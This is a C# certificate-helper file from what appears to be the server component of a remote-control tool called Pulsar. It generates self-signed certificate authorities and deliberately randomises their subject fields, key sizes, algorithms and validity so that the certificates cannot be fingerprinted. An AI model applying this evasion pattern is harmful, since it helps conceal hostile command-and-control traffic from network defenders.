Files
PulsarK-main/Pulsar.Server/Helper/CertificateHelper.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

183 lines
8.5 KiB
C#

using Org.BouncyCastle.Asn1.X509;
using Org.BouncyCastle.Crypto;
using Org.BouncyCastle.Crypto.Generators;
using Org.BouncyCastle.Crypto.Operators;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Crypto.Prng;
using Org.BouncyCastle.Math;
using Org.BouncyCastle.OpenSsl;
using Org.BouncyCastle.Pkcs;
using Org.BouncyCastle.Security;
using Org.BouncyCastle.X509;
using Org.BouncyCastle.X509.Extension;
using System;
using System.IO;
using System.Security.Cryptography.X509Certificates;
using System.Text;
namespace Pulsar.Server.Helper
{
public static class CertificateHelper
{
public static X509Certificate2 CreateCertificateAuthority(string caName, int keyStrength = 4096)
{
var random = new SecureRandom(new CryptoApiRandomGenerator());
var keyStrengths = new[] { 2048, 3072, 4096 };
var randomKeyStrength = keyStrengths[random.Next(keyStrengths.Length)];
var keyPairGen = new RsaKeyPairGenerator();
keyPairGen.Init(new KeyGenerationParameters(random, randomKeyStrength));
AsymmetricCipherKeyPair keypair = keyPairGen.GenerateKeyPair();
var certificateGenerator = new X509V3CertificateGenerator();
var randomOrg = GenerateRandomString(random, 8, 15);
var randomLocation = GenerateRandomString(random, 5, 12);
var randomCountry = GenerateRandomCountryCode(random);
var subjectString = $"CN={caName}, O={randomOrg}, L={randomLocation}, C={randomCountry}";
var CN = new X509Name(subjectString);
var serialNumberBitLength = random.Next(120, 201);
var SN = BigInteger.ProbablePrime(serialNumberBitLength, random);
var validityYears = random.Next(5, 16);
var notBeforeOffsetDays = random.Next(1, 8);
certificateGenerator.SetSerialNumber(SN);
certificateGenerator.SetSubjectDN(CN);
certificateGenerator.SetIssuerDN(CN);
certificateGenerator.SetNotAfter(DateTime.UtcNow.AddYears(validityYears));
certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(notBeforeOffsetDays, 0, 0, 0)));
certificateGenerator.SetPublicKey(keypair.Public);
certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keypair.Public));
certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(true));
certificateGenerator.AddExtension(X509Extensions.KeyUsage, true, new KeyUsage(KeyUsage.KeyCertSign | KeyUsage.CrlSign));
certificateGenerator.AddExtension(X509Extensions.ExtendedKeyUsage, true, new ExtendedKeyUsage(KeyPurposeID.IdKPServerAuth));
var signatureAlgorithms = new[] { "SHA256WITHRSA", "SHA384WITHRSA", "SHA512WITHRSA" };
var randomSignatureAlgorithm = signatureAlgorithms[random.Next(signatureAlgorithms.Length)];
ISignatureFactory signatureFactory = new Asn1SignatureFactory(randomSignatureAlgorithm, keypair.Private, random);
var certificate = certificateGenerator.Generate(signatureFactory);
// Create PKCS#12 (PFX) format with certificate and private key
var store = new Pkcs12StoreBuilder().Build();
var certificateEntry = new X509CertificateEntry(certificate);
store.SetCertificateEntry(caName, certificateEntry);
store.SetKeyEntry(caName, new AsymmetricKeyEntry(keypair.Private), new[] { certificateEntry });
// Convert to bytes
using (var ms = new MemoryStream())
{
store.Save(ms, new char[0], random); // Empty password
var pfxBytes = ms.ToArray();
// Create X509Certificate2 from PFX bytes using modern approach for .NET 9.0 AOT compatibility
return X509CertificateLoader.LoadPkcs12(pfxBytes, null, X509KeyStorageFlags.Exportable);
}
}
/// <summary>
/// Alternative method using PEM format for AOT compatibility
/// </summary>
public static X509Certificate2 CreateCertificateAuthorityFromPem(string caName, int keyStrength = 4096)
{
var random = new SecureRandom(new CryptoApiRandomGenerator());
var keyStrengths = new[] { 2048, 3072, 4096 };
var randomKeyStrength = keyStrengths[random.Next(keyStrengths.Length)];
var keyPairGen = new RsaKeyPairGenerator();
keyPairGen.Init(new KeyGenerationParameters(random, randomKeyStrength));
AsymmetricCipherKeyPair keypair = keyPairGen.GenerateKeyPair();
var certificateGenerator = new X509V3CertificateGenerator();
var randomOrg = GenerateRandomString(random, 8, 15);
var randomLocation = GenerateRandomString(random, 5, 12);
var randomCountry = GenerateRandomCountryCode(random);
var subjectString = $"CN={caName}, O={randomOrg}, L={randomLocation}, C={randomCountry}";
var CN = new X509Name(subjectString);
var serialNumberBitLength = random.Next(120, 201);
var SN = BigInteger.ProbablePrime(serialNumberBitLength, random);
var validityYears = random.Next(5, 16);
var notBeforeOffsetDays = random.Next(1, 8);
certificateGenerator.SetSerialNumber(SN);
certificateGenerator.SetSubjectDN(CN);
certificateGenerator.SetIssuerDN(CN);
certificateGenerator.SetNotAfter(DateTime.UtcNow.AddYears(validityYears));
certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(notBeforeOffsetDays, 0, 0, 0)));
certificateGenerator.SetPublicKey(keypair.Public);
certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keypair.Public));
certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(true));
certificateGenerator.AddExtension(X509Extensions.KeyUsage, true, new KeyUsage(KeyUsage.KeyCertSign | KeyUsage.CrlSign));
certificateGenerator.AddExtension(X509Extensions.ExtendedKeyUsage, true, new ExtendedKeyUsage(KeyPurposeID.IdKPServerAuth));
var signatureAlgorithms = new[] { "SHA256WITHRSA", "SHA384WITHRSA", "SHA512WITHRSA" };
var randomSignatureAlgorithm = signatureAlgorithms[random.Next(signatureAlgorithms.Length)];
ISignatureFactory signatureFactory = new Asn1SignatureFactory(randomSignatureAlgorithm, keypair.Private, random);
var certificate = certificateGenerator.Generate(signatureFactory);
// Convert to PEM format
string certPem, keyPem;
using (var certWriter = new StringWriter())
{
var pemWriter = new PemWriter(certWriter);
pemWriter.WriteObject(certificate);
certPem = certWriter.ToString();
}
using (var keyWriter = new StringWriter())
{
var pemWriter = new PemWriter(keyWriter);
pemWriter.WriteObject(keypair.Private);
keyPem = keyWriter.ToString();
}
// Create X509Certificate2 from PEM - this is AOT-compatible in .NET 9.0
return X509Certificate2.CreateFromPem(certPem, keyPem);
}
/// <summary>
/// Generates a completely random string to avoid fingerprinting
/// </summary>
private static string GenerateRandomString(SecureRandom random, int minLength, int maxLength)
{
var length = random.Next(minLength, maxLength + 1);
var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
var result = new char[length];
for (int i = 0; i < length; i++)
{
result[i] = chars[random.Next(chars.Length)];
}
return new string(result);
}
/// <summary>
/// Generates a random 2-letter country code to avoid fingerprinting
/// </summary>
private static string GenerateRandomCountryCode(SecureRandom random)
{
var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
return new string(new char[] {
chars[random.Next(chars.Length)],
chars[random.Next(chars.Length)]
});
}
}
}